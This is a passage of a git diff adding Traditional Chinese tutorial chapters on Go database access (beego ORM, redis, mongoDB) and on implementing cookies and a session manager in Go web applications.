"zxxx" +user.Departname = "zxxx" + +id, err := o.Insert(&user) +if err == nil { + fmt.Println(id) +} +``` +我們看到插入之後`user.Uid`就是插入成功之後的自增 ID。 + + +同時插入多個物件:InsertMulti + +類似 sql 語句 + +```Go +insert into table (name, age) values("slene", 28),("astaxie", 30),("unknown", 20) +``` +第一個參數 bulk 為並列插入的數量,第二個為物件的 slice + +回傳值為成功插入的數量 + +```Go +users := []User{ + {Name: "slene"}, + {Name: "astaxie"}, + {Name: "unknown"}, + ... +} +successNums, err := o.InsertMulti(100, users) +``` +bulk 為 1 時,將會順序插入 slice 中的資料 + + +## 更新資料 +繼續上面的例子來示範更新操作,現在 user 的主鍵已經有值了,此時呼叫 Insert 介面,beego orm 內部會自動呼叫 update 以進行資料的更新而非插入操作。 + +```Go +o := orm.NewOrm() +user := User{Uid: 1} +if o.Read(&user) == nil { + user.Name = "MyName" + if num, err := o.Update(&user); err == nil { + fmt.Println(num) + } +} +``` +Update 預設更新所有的欄位,可以更新指定的欄位: + +```Go +// 只更新 Name +o.Update(&user, "Name") +// 指定多個欄位 +// o.Update(&user, "Field1", "Field2", ...) +``` + +//Where:用來設定條件,支援多個參數,第一個參數如果為整數,相當於呼叫了 Where("主鍵=?",值)。 + +## 查詢資料 +beego orm 的查詢介面比較靈活,具體使用請看下面的例子 + +例子 1,根據主鍵取得資料: + +```Go +o := orm.NewOrm() +var user User + +user := User{Id: 1} + +err = o.Read(&user) + +if err == orm.ErrNoRows { + fmt.Println("查詢不到") +} else if err == orm.ErrMissPK { + fmt.Println("找不到主鍵") +} else { + fmt.Println(user.Id, user.Name) +} +``` + +例子 2: + +```Go +o := orm.NewOrm() +var user User + +qs := o.QueryTable(user) // 回傳 QuerySeter +qs.Filter("id", 1) // WHERE id = 1 +qs.Filter("profile__age", 18) // WHERE profile.age = 18 +``` +例子 3,WHERE IN 查詢條件: + +```Go +qs.Filter("profile__age__in", 18, 20) +// WHERE profile.age IN (18, 20) +``` + +例子 4,更加複雜的條件: + +```Go +qs.Filter("profile__age__in", 18, 20).Exclude("profile__lt", 1000) +// WHERE profile.age IN (18, 20) AND NOT profile_id < 1000 + +``` + +可以透過如下介面取得多條資料,請看範例 + +例子 1,根據條件 age>17,取得 20 位置開始的 10 條資料的資料 + +```Go +var allusers []User +qs.Filter("profile__age__gt", 17) +// WHERE profile.age > 17 +``` +例子 2,limit 預設從 10 開始,取得 10 條資料 + +```Go +qs.Limit(10, 20) +// LIMIT 10 OFFSET 20 注意跟 SQL 反過來的 +``` + +## 刪除資料 + +beedb 提供了豐富的刪除資料介面,請看下面的例子 + +例子 1,刪除一筆資料 + +```Go +o := orm.NewOrm() +if num, err := o.Delete(&User{Id: 1}); err == nil { + fmt.Println(num) +} +``` + +Delete 操作會對反向關係進行操作,此例中 Post 擁有一個到 User 的外來鍵。刪除 User 的時候。如果 on_delete 設定為預設的級聯操作,將刪除對應的 Post + +## 關聯查詢 + +有些應用卻需要用到連線查詢,所以現在 beego orm 提供了一個簡陋的實現方案: + +```Go +type Post struct { + Id int `orm:"auto"` + Title string `orm:"size(100)"` + User *User `orm:"rel(fk)"` +} + +var posts []*Post +qs := o.QueryTable("post") +num, err := qs.Filter("User__Name", "slene").All(&posts) +``` + +上面程式碼中我們看到了一個 struct 關聯查詢 + + + +## Group By 和 Having +針對有些應用需要用到 group by 的功能,beego orm 也提供了一個簡陋的實現 + +```Go +qs.OrderBy("id", "-profile__age") +// ORDER BY id ASC, profile.age DESC + +qs.OrderBy("-profile__age", "profile") +// ORDER BY profile.age DESC, profile_id ASC +``` + +上面的程式碼中出現了兩個新介面函式 + +GroupBy:用來指定進行 groupby 的欄位 + +Having:用來指定 having 執行的時候的條件 + + +## 使用原生 sql + +簡單範例: + +```Go +o := orm.NewOrm() +var r orm.RawSeter +r = o.Raw("UPDATE user SET name = ? WHERE name = ?", "testing", "slene") +``` + +複雜原生 sql 使用: + +```Go +func (m *User) Query(name string) user []User { + var o orm.Ormer + var rs orm.RawSeter + o = orm.NewOrm() + rs = o.Raw("SELECT * FROM user "+ + "WHERE name=? AND uid>10 "+ + "ORDER BY uid DESC "+ + "LIMIT 100", name) + //var user []User + num, err := rs.QueryRows(&user) + if err != nil { + fmt.Println(err) + } else { + fmt.Println(num) + //return user + } + return +} +``` + +更多說明,請到[beego.me](https://beego.me) + +## 進一步的發展 +目前 beego orm 已經獲得了很多來自國內外使用者的反饋,我目前也正在考慮支援更多資料庫,接下來會在更多方面進行改進 + + +## links + * [目錄]() + * 上一節:[使用 PostgreSQL 資料庫](<05.4.md>) + * 下一節:[NOSQL 資料庫操作](<05.6.md>) diff --git a/zh-tw/05.6.md b/zh-tw/05.6.md new file mode 100644 index 000000000..dc6fd6d3d --- /dev/null +++ b/zh-tw/05.6.md @@ -0,0 +1,209 @@ +# 5.6 NOSQL 資料庫操作 + +NoSQL(Not Only SQL),指的是非關聯資料庫。隨著 Web2.0 的興起,傳統的關聯式資料庫在應付 Web2.0 網站,特別是超大規模和高併發的 SNS 型別的 Web2.0 純動態網站已經顯得力不從心,暴露了很多難以克服的問題,而非關聯資料庫則由於其本身的特點得到了非常迅速的發展。 + +而 Go 語言作為 21 世紀的 C 語言,對 NOSQL 的支援也是很好,目前流行的 NOSQL 主要有 redis、mongoDB、Cassandra 和 Membase 等。這些資料庫都有高效能、高併發讀寫等特點,目前已經廣泛應用於各種應用中。我接下來主要講解一下 redis 和 mongoDB 的操作。 + +## redis +redis 是一個 key-value 儲存系統。和 Memcached 類似,它支援儲存的 value 型別相對更多,包括 string(字串)、list(連結串列)、set(集合)和 zset(有序集合)。 + +目前應用 redis 最廣泛的應該是新浪微博平臺,其次還有 Facebook 收購的圖片社交網站 instagram。以及其他一些有名的 [ 網際網路企業](http://redis.io/topics/whos-using-redis) + +Go 目前支援 redis 的驅動有如下 +- https://github.com/garyburd/redigo (推薦) +- https://github.com/go-redis/redis +- https://github.com/hoisie/redis +- https://github.com/alphazero/Go-Redis +- https://github.com/simonz05/godis + +我以 redigo 驅動為例來示範如何進行資料的操作: + +```Go +package main + +import ( + "fmt" + "os" + "os/signal" + "syscall" + "time" + + "github.com/garyburd/redigo/redis" +) + +var ( + Pool *redis.Pool +) + +func init() { + redisHost := ":6379" + Pool = newPool(redisHost) + close() +} + +func newPool(server string) *redis.Pool { + + return &redis.Pool{ + + MaxIdle: 3, + IdleTimeout: 240 * time.Second, + + Dial: func() (redis.Conn, error) { + c, err := redis.Dial("tcp", server) + if err != nil { + return nil, err + } + return c, err + }, + + TestOnBorrow: func(c redis.Conn, t time.Time) error { + _, err := c.Do("PING") + return err + } + } +} + +func close() { + c := make(chan os.Signal, 1) + signal.Notify(c, os.Interrupt) + signal.Notify(c, syscall.SIGTERM) + signal.Notify(c, syscall.SIGKILL) + go func() { + <-c + Pool.Close() + os.Exit(0) + }() +} + +func Get(key string) ([]byte, error) { + + conn := Pool.Get() + defer conn.Close() + + var data []byte + data, err := redis.Bytes(conn.Do("GET", key)) + if err != nil { + return data, fmt.Errorf("error get key %s: %v", key, err) + } + return data, err +} + +func main() { + test, err := Get("test") + fmt.Println(test, err) +} + +``` + +另外以前我 fork 了最後一個驅動,修復了一些 bug,目前應用在我自己的短域名服務專案中(每天 200W 左右的 PV 值) + +https://github.com/astaxie/goredis + +接下來的以我自己 fork 的這個 redis 驅動為例來示範如何進行資料的操作 + +```Go +package main + +import ( + "fmt" + + "github.com/astaxie/goredis" +) + +func main() { + var client goredis.Client + // 設定埠為 redis 預設埠 + client.Addr = "127.0.0.1:6379" + + //字串操作 + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + //list 操作 + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) + } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") +} +``` + +我們可以看到操作 redis 非常的方便,而且我實際專案中應用下來效能也很高。client 的命令和 redis 的命令基本保持一致。所以和原生態操作 redis 非常類似。 + +## mongoDB + +MongoDB 是一個高效能、開源的文件型資料庫,是一個介於關聯式資料庫和非關聯式資料庫之間的產品,是非關聯式資料庫當中功能最豐富,最像關聯式資料庫的。他支援的資料結構非常鬆散,採用的是類似 json 的 bjson 格式來儲存資料,因此可以儲存比較複雜的資料型別。Mongo 最大的特點是他支援的查詢語言非常強大,其語法有點類似於物件導向的查詢語言,幾乎可以實現類似關聯式資料庫單表查詢的絕大部分功能,而且還支援對資料建立索引。 + +下圖展示了 mysql 和 mongoDB 之間的對應關係,我們可以看出來非常的方便,但是 mongoDB 的效能非常好。 + +![](images/5.6.mongodb.png) + +圖 5.1 MongoDB 和 Mysql 的操作對比圖 + +目前 Go 支援 mongoDB 最好的驅動就是[mgo](http://labix.org/mgo),這個驅動目前最有可能成為官方的 pkg。 + +安裝 mgo: + +```Go +go get gopkg.in/mgo.v2 +``` + +下面我將示範如何透過 Go 來操作 mongoDB: + +```Go +package main + +import ( + "fmt" + "log" + + "gopkg.in/mgo.v2" + "gopkg.in/mgo.v2/bson" +) + +type Person struct { + Name string + Phone string +} + +func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() + + // Optional. Switch the session to a monotonic behavior. + session.SetMode(mgo.Monotonic, true) + + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + log.Fatal(err) + } + + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + log.Fatal(err) + } + + fmt.Println("Phone:", result.Phone) +} +``` + +我們可以看出來 mgo 的操作方式和 beedb 的操作方式幾乎類似,都是基於 struct 的操作方式,這個就是 Go Style。 + + + +## links + * [目錄]() + * 上一節:[使用 Beego orm 函式庫進行 ORM 開發](<05.5.md>) + * 下一節:[小結](<05.7.md>) diff --git a/zh-tw/05.7.md b/zh-tw/05.7.md new file mode 100644 index 000000000..3d01cd00c --- /dev/null +++ b/zh-tw/05.7.md @@ -0,0 +1,11 @@ +# 5.7 小結 +這一章我們講解了 Go 如何設計 database/sql 介面,然後介紹了各種第三方關係型資料庫驅動的使用。接著介紹了 beedb,一種基於關係型資料庫的 ORM 函式庫,如何對資料庫進行簡單的操作。最後介紹了 NOSQL 的一些知識,目前 Go 對於 NOSQL 支援還是不錯,因為 Go 作為 21 世紀的 C 語言,那麼對於 21 世紀的資料庫也是支援的相當好。 + +透過這一章的學習,我們學會了如何操作各種資料庫,那麼就解決了我們資料儲存的問題,這是 Web 裡面最重要的一部分,所以希望大家能夠深入的去了解 database/sql 的設計思想。 + +>[Go database/sql tutorial](http://go-database-sql.org/) 裡提供了慣用的範例及詳細的說明。 + +## links + * [目錄]() + * 上一節:[NOSQL 資料庫操作](<05.6.md>) + * 下一章:[session 和資料儲存](<06.0.md>) diff --git a/zh-tw/06.0.md b/zh-tw/06.0.md new file mode 100644 index 000000000..3abe99f26 --- /dev/null +++ b/zh-tw/06.0.md @@ -0,0 +1,13 @@ +# 6 session 和資料儲存 +Web 開發中一個很重要的議題就是如何做好使用者的整個瀏覽過程的控制,因為 HTTP 協議是無狀態的,所以使用者的每一次請求都是無狀態的,我們不知道在整個 Web 操作過程中哪些連線與該使用者有關,我們應該如何來解決這個問題呢?Web 裡面經典的解決方案是 cookie 和 session,cookie 機制是一種客戶端機制,把使用者資料儲存在客戶端,而 session 機制是一種伺服器端的機制,伺服器使用一種類似於散列表的結構來儲存資訊,每一個網站訪客都會被分配給一個唯一的標誌符,即 sessionID,它的存放形式無非兩種 : 要麼經過 url 傳遞,要麼儲存在客戶端的 cookies 裡.當然,你也可以將 Session 儲存到資料庫裡,這樣會更安全,但效率方面會有所下降。 + +6.1 小節裡面講介紹 session 機制和 cookie 機制的關係和區別,6.2 講解 Go 語言如何來實現 session,裡面講實現一個簡易的 session 管理器,6.3 小節講解如何防止 session 被劫持的情況,如何有效的保護 session。我們知道 session 其實可以儲存在任何地方,6.4 小節裡面實現的 session 是儲存在記憶體中的,但是如果我們的應用進一步擴充套件了,要實現應用的 session 共享,那麼我們可以把 session 儲存在資料庫中(memcache 或者 redis),6.5 小節將詳細的講解如何實現這些功能。 + + +## 目錄 + ![](images/navi6.png) + +## links + * [目錄]() + * 上一章:[第五章總結](<05.7.md>) + * 下一節:[session 和 cookie](<06.1.md>) diff --git a/zh-tw/06.1.md b/zh-tw/06.1.md new file mode 100644 index 000000000..4240773fe --- /dev/null +++ b/zh-tw/06.1.md @@ -0,0 +1,111 @@ +# 6.1 session 和 cookie +session 和 cookie 是網站瀏覽中較為常見的兩個概念,也是比較難以辨析的兩個概念,但它們在瀏覽需要認證的服務頁面以及頁面統計中卻相當關鍵。我們先來了解一下 session 和 cookie 怎麼來的?考慮這樣一個問題: + +如何抓取一個訪問受限的網頁?如新浪微博好友的主頁,個人微博頁面等。 + +顯然,透過瀏覽器,我們可以手動輸入使用者名稱和密碼來訪問頁面,而所謂的“抓取”,其實就是使用程式來模擬完成同樣的工作,因此我們需要了解“登入”過程中到底發生了什麼。 + +當用戶來到微博登入頁面,輸入使用者名稱和密碼之後點選“登入”後瀏覽器將認證資訊 POST 給遠端的伺服器,伺服器執行驗證邏輯,如果驗證透過,則瀏覽器會跳轉到登入使用者的微博首頁,在登入成功後,伺服器如何驗證我們對其他受限制頁面的訪問呢?因為 HTTP 協議是無狀態的,所以很顯然伺服器不可能知道我們已經在上一次的 HTTP 請求中通過了驗證。當然,最簡單的解決方案就是所有的請求裡面都帶上使用者名稱和密碼,這樣雖然可行,但大大加重了伺服器的負擔(對於每個 request 都需要到資料庫驗證),也大大降低了使用者體驗(每個頁面都需要重新輸入使用者名稱密碼,每個頁面都帶有登入表單)。既然直接在請求中帶上使用者名稱與密碼不可行,那麼就只有在伺服器或客戶端儲存一些類似的可以代表身份的資訊了,所以就有了 cookie 與 session。 + +cookie,簡而言之就是在本地計算機儲存一些使用者操作的歷史資訊(當然包括登入資訊),並在使用者再次訪問該站點時瀏覽器透過 HTTP 協議將本地 cookie 內容傳送給伺服器,從而完成驗證,或繼續上一步操作。 + +![](images/6.1.cookie2.png) + +圖 6.1 cookie 的原理圖 + +session,簡而言之就是在伺服器上儲存使用者操作的歷史資訊。伺服器使用 session id 來標識 session,session id 由伺服器負責產生,保證隨機性與唯一性,相當於一個隨機金鑰,避免在握手或傳輸中暴露使用者真實密碼。但該方式下,仍然需要將傳送請求的客戶端與 session 進行對應,所以可以藉助 cookie 機制來取得客戶端的標識(即 session id),也可以透過 GET 方式將 id 提交給伺服器。 + +![](images/6.1.session.png) + +圖 6.2 session 的原理圖 + +## cookie +Cookie 是由瀏覽器維持的,儲存在客戶端的一小段文字資訊,伴隨著使用者請求和頁面在 Web 伺服器和瀏覽器之間傳遞。使用者每次訪問站點時,Web 應用程式都可以讀取 cookie 包含的資訊。瀏覽器設定裡面有 cookie 隱私資料選項,開啟它,可以看到很多已訪問網站的 cookies,如下圖所示: + +![](images/6.1.cookie.png) + +圖 6.3 瀏覽器端儲存的 cookie 資訊 + +cookie 是有時間限制的,根據生命期不同分成兩種:會話 cookie 和持久 cookie; + +如果不設定過期時間,則表示這個 cookie 的生命週期為從建立到瀏覽器關閉為止,只要關閉瀏覽器視窗,cookie 就消失了。這種生命期為瀏覽會話期的 cookie 被稱為會話 cookie。會話 cookie 一般不儲存在硬碟上而是儲存在記憶體裡。 + +如果設定了過期時間(setMaxAge(60*60*24)),瀏覽器就會把 cookie 儲存到硬碟上,關閉後再次開啟瀏覽器,這些 cookie 依然有效直到超過設定的過期時間。儲存在硬碟上的 cookie 可以在不同的瀏覽器程序間共享,比如兩個 IE 視窗。而對於儲存在記憶體的 cookie,不同的瀏覽器有不同的處理方式。 +   + +### Go 設定 cookie +Go 語言中透過 net/http 套件中的 SetCookie 來設定: + +```Go +http.SetCookie(w ResponseWriter, cookie *Cookie) +``` +w 表示需要寫入的 response,cookie 是一個 struct,讓我們來看一下 cookie 物件是怎麼樣的 + +```Go +type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + +// MaxAge=0 means no 'Max-Age' attribute specified. +// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' +// MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs +} +``` + +我們來看一個例子,如何設定 cookie + +```Go +expiration := time.Now() +expiration = expiration.AddDate(1, 0, 0) +cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} +http.SetCookie(w, &cookie) +``` +   +### Go 讀取 cookie +上面的例子示範了如何設定 cookie 資料,我們這裡來示範一下如何讀取 cookie + +```Go +cookie, _ := r.Cookie("username") +fmt.Fprint(w, cookie) +``` +還有另外一種讀取方式 + +```Go +for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) +} +``` +可以看到透過 request 取得 cookie 非常方便。 + +## session + +session,中文經常翻譯為會話,其本來的含義是指有始有終的一系列動作/訊息,比如打電話是從拿起電話撥號到結束通話電話這中間的一系列過程可以稱之為一個 session。然而當 session 一詞與網路協議相關聯時,它又往往隱含了“連線導向”和/或“保持狀態”這樣兩個含義。 + +session 在 Web 開發環境下的語義又有了新的擴充套件,它的含義是指一類別用來在客戶端與伺服器端之間保持狀態的解決方案。有時候 Session 也用來指這種解決方案的儲存結構。 + +session 機制是一種伺服器端的機制,伺服器使用一種類似於散列表的結構(也可能就是使用散列表)來儲存資訊。 + +但程式需要為某個客戶端的請求建立一個 session 的時候,伺服器首先檢查這個客戶端的請求裡是否包含了一個 session 標識-稱為 session id,如果已經包含一個 session id 則說明以前已經為此客戶建立過 session,伺服器就按照 session id 把這個 session 檢索出來使用(如果檢索不到,可能會建立一個,這種情況可能出現在伺服器端已經刪除了該使用者對應的 session 物件,但使用者人為地在請求的 URL 後面附加上一個 JSESSION 的參數)。如果客戶請求不包含 session id,則為此客戶建立一個 session 並且同時產生一個與此 session 相關聯的 session id,這個 session id 將在本次回應中回傳給客戶端儲存。 + +session 機制本身並不複雜,然而其實現和配置上的靈活性卻使得具體情況複雜多變。這也要求我們不能把僅僅某一次的經驗或者某一個瀏覽器,伺服器的經驗當作普遍適用的。 + +## 小結 + +如上文所述,session 和 cookie 的目的相同,都是為了克服 http 協議無狀態的缺陷,但完成的方法不同。session 透過 cookie,在客戶端儲存 session id,而將使用者的其他會話訊息儲存在伺服器端的 session 物件中,與此相對的,cookie 需要將所有資訊都儲存在客戶端。因此 cookie 存在著一定的安全隱患,例如本地 cookie 中儲存的使用者名稱密碼被破譯,或 cookie 被其他網站收集(例如:1. appA 主動設定域 B cookie,讓域 B cookie 取得;2. XSS,在 appA 上透過 javascript 取得 document.cookie,並傳遞給自己的 appB)。 + + +透過上面的一些簡單介紹我們了解了 cookie 和 session 的一些基礎知識,知道他們之間的聯絡和區別,做 web 開發之前,有必要將一些必要知識了解清楚,才不會在用到時捉襟見肘,或是在調 bug 時如無頭蒼蠅亂轉。接下來的幾小節我們將詳細介紹 session 相關的知識。 + +## links + * [目錄]() + * 上一節:[session 和資料儲存](<06.0.md>) + * 下一節:[Go 如何使用 session](<06.2.md>) diff --git a/zh-tw/06.2.md b/zh-tw/06.2.md new file mode 100644 index 000000000..5e4b3307e --- /dev/null +++ b/zh-tw/06.2.md @@ -0,0 +1,229 @@ +# 6.2 Go 如何使用 session +透過上一小節的介紹,我們知道 session 是在伺服器端實現的一種使用者和伺服器之間認證的解決方案,目前 Go 標準套件沒有為 session 提供任何支援,這小節我們將會自己動手來實現 go 版本的 session 管理和建立。 + +## session 建立過程 +session 的基本原理是由伺服器為每個會話維護一份資訊資料,客戶端和伺服器端依靠一個全域性唯一的標識來訪問這份資料,以達到互動的目的。當用戶訪問 Web 應用時,伺服器端程式會隨需要建立 session,這個過程可以概括為三個步驟: + +- 產生全域性唯一識別符號(sessionid); +- 開闢資料儲存空間。一般會在記憶體中建立相應的資料結構,但這種情況下,系統一旦掉電,所有的會話資料就會丟失,如果是電子商務類別網站,這將造成嚴重的後果。所以為了解決這類別問題,你可以將會話資料寫到檔案裡或儲存在資料庫中,當然這樣會增加 I/O 開銷,但是它可以實現某種程度的 session 持久化,也更有利於 session 的共享; +- 將 session 的全域性唯一標示符傳送給客戶端。 + +以上三個步驟中,最關鍵的是如何傳送這個 session 的唯一標識這一步上。考慮到 HTTP 協議的定義,資料無非可以放到請求行、頭域或 Body 裡,所以一般來說會有兩種常用的方式:cookie 和 URL 重寫。 + +1. Cookie +伺服器端透過設定 Set-cookie 頭就可以將 session 的識別符號傳送到客戶端,而客戶端此後的每一次請求都會帶上這個識別符號,另外一般包含 session 資訊的 cookie 會將失效時間設定為 0(會話 cookie),即瀏覽器程序有效時間。至於瀏覽器怎麼處理這個 0,每個瀏覽器都有自己的方案,但差別都不會太大(一般體現在建立瀏覽器視窗的時候); +2. URL 重寫 +所謂 URL 重寫,就是在回傳給使用者的頁面裡的所有的 URL 後面追加 session 識別符號,這樣使用者在收到回應之後,無論點選回應頁面裡的哪個連結或提交表單,都會自動帶上 session 識別符號,從而就實現了會話的保持。雖然這種做法比較麻煩,但是,如果客戶端禁用了 cookie 的話,此種方案將會是首選。 + +## Go 實現 session 管理 +透過上面 session 建立過程的講解,讀者應該對 session 有了一個大體的認識,但是具體到動態頁面技術裡面,又是怎麼實現 session 的呢?下面我們將結合 session 的生命週期(lifecycle),來實現 go 語言版本的 session 管理。 + +### session 管理設計 +我們知道 session 管理涉及到如下幾個因素 + +- 全域性 session 管理器 +- 保證 sessionid 的全域性唯一性 +- 為每個客戶關聯一個 session +- session 的儲存(可以儲存到記憶體、檔案、資料庫等) +- session 過期處理 + +接下來我將講解一下我關於 session 管理的整個設計思路以及相應的 go 程式碼範例: + +### Session 管理器 + +定義一個全域性的 session 管理器 + +```Go +type Manager struct { + cookieName string // private cookiename + lock sync.Mutex // protects session + provider Provider + maxLifeTime int64 +} + +func NewManager(provideName, cookieName string, maxLifeTime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) + } + return &Manager{provider: provider, cookieName: cookieName, maxLifeTime: maxLifeTime}, nil +} +``` + +Go 實現整個的流程應該也是這樣的,在 main 套件中建立一個全域性的 session 管理器 + +```Go +var globalSessions *session.Manager +//然後在 init 函式中初始化 +func init() { + globalSessions, _ = NewManager("memory", "gosessionid", 3600) +} +``` +我們知道 session 是儲存在伺服器端的資料,它可以以任何的方式儲存,比如儲存在記憶體、資料庫或者檔案中。因此我們抽象出一個 Provider 介面,用以表徵 session 管理器底層儲存結構。 + +```Go +type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) +} +``` +- SessionInit 函式實現 Session 的初始化,操作成功則回傳此新的 Session 變數 +- SessionRead 函式回傳 sid 所代表的 Session 變數,如果不存在,那麼將以 sid 為參數呼叫 SessionInit 函式建立並回傳一個新的 Session 變數 +- SessionDestroy 函式用來刪除 sid 對應的 Session 變數 +- SessionGC 根據 maxLifeTime 來刪除過期的資料 + +那麼 Session 介面需要實現什麼樣的功能呢?有過 Web 開發經驗的讀者知道,對 Session 的處理基本就 設定值、讀取值、刪除值以及取得當前 sessionID 這四個操作,所以我們的 Session 介面也就實現這四個操作。 + +```Go +type Session interface { + Set(key, value interface{}) error // set session value + Get(key interface{}) interface{} // get session value + Delete(key interface{}) error // delete session value + SessionID() string // back current sessionID +} +``` +>以上設計思路來源於 database/sql/driver,先定義好介面,然後具體的儲存 session 的結構實現相應的介面並註冊後,相應功能這樣就可以使用了,以下是用來隨需註冊儲存 session 的結構的 Register 函式的實現。 + +```Go +var provides = make(map[string]Provider) + +// Register makes a session provide available by the provided name. +// If Register is called twice with the same name or if driver is nil, +// it panics. +func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provider is nil") + } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provider " + name) + } + provides[name] = provider +} +``` +### 全域性唯一的 Session ID + +Session ID 是用來識別訪問 Web 應用的每一個使用者,因此必須保證它是全域性唯一的(GUID),下面程式碼展示了如何滿足這一需求: + +```Go +func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := rand.Read(b); err != nil { + return "" + } + return base64.URLEncoding.EncodeToString(b) +} +``` +### session 建立 +我們需要為每個來訪使用者分配或取得與他相關連的 Session,以便後面根據 Session 資訊來驗證操作。SessionStart 這個函式就是用來檢測是否已經有某個 Session 與當前來訪使用者發生了關聯,如果沒有則建立之。 + +```Go +func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxLifeTime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) + } + return +} +``` +我們用前面 login 操作來示範 session 的運用: + +```Go +func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) + } +} +``` +### 操作值:設定、讀取和刪除 +SessionStart 函式回傳的是一個滿足 Session 介面的變數,那麼我們該如何用他來對 session 資料進行操作呢? + +上面的例子中的程式碼`session.Get("uid")`已經展示了基本的讀取資料的操作,現在我們再來看一下詳細的操作: + +```Go +func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) +} +``` +透過上面的例子可以看到,Session 的操作和操作 key/value 資料庫類似:Set、Get、Delete 等操作 + +因為 Session 有過期的概念,所以我們定義了 GC 操作,當訪問過期時間滿足 GC 的觸發條件後將會引起 GC,但是當我們進行了任意一個 session 操作,都會對 Session 實體進行更新,都會觸發對最後訪問時間的修改,這樣當 GC 的時候就不會誤刪除還在使用的 Session 實體。 + +### session 重置 +我們知道,Web 應用中有使用者退出這個操作,那麼當用戶退出應用的時候,我們需要對該使用者的 session 資料進行刪除操作,上面的程式碼已經示範了如何使用 session 重置操作,下面這個函式就是實現了這個功能: + +```Go +//Destroy sessionid +func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) + } +} +``` + +### session 刪除 +我們來看一下 Session 管理器如何來管理刪除,只要我們在 Main 啟動的時候啟動: + +```Go +func init() { + go globalSessions.GC() +} +``` + +```Go +func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionGC(manager.maxLifeTime) + time.AfterFunc(time.Duration(manager.maxLifeTime), func() { manager.GC() }) +} +``` +我們可以看到 GC 充分利用了 time 套件中的定時器功能,當超時 `maxLifeTime` 之後呼叫 GC 函式,這樣就可以保證 `maxLifeTime` 時間內的 session 都是可用的,類似的方案也可以用於統計線上使用者數之類別的。 + +## 總結 +至此 我們實現了一個用來在 Web 應用中全域性管理 Session 的 SessionManager,定義了用來提供 Session 儲存實現 Provider 的介面,下一小節,我們將會透過介面定義來實現一些 Provider,供大家參考學習。 + +## links + * [目錄]() + * 上一節:[session 和 cookie](<06.1.md>) + * 下一節:[session 儲存](<06.3.md>) diff --git a/zh-tw/06.3.md b/zh-tw/06.3.md new file mode 100644 index 000000000..05960bab1 --- /dev/null +++ b/zh-tw/06.3.md @@ -0,0 +1,139 @@ +# 6.3 session 儲存 +上一節我們介紹了 Session 管理器的實現原理,定義了儲存 session 的介面,這小節我們將範例一個基於記憶體的 session 儲存介面的實現,其他的儲存方式,讀者可以自行參考範例來實現,記憶體的實現請看下面的例子程式碼 + +```Go +package memory + +import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" +) + +var pder = &Provider{list: list.New()} + +type SessionStore struct { + sid string //session id 唯一標示 + timeAccessed time.Time //最後訪問時間 + value map[interface{}]interface{} //session 裡面儲存的值 +} + +func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil +} + +func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { + return nil + } +} + +func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil +} + +func (st *SessionStore) SessionID() string { + return st.sid +} + +type Provider struct { + lock sync.Mutex //用來鎖 + sessions map[string]*list.Element //用來儲存在記憶體 + list *list.List //用來做 gc +} + +func (pder *Provider) SessionInit(sid string) 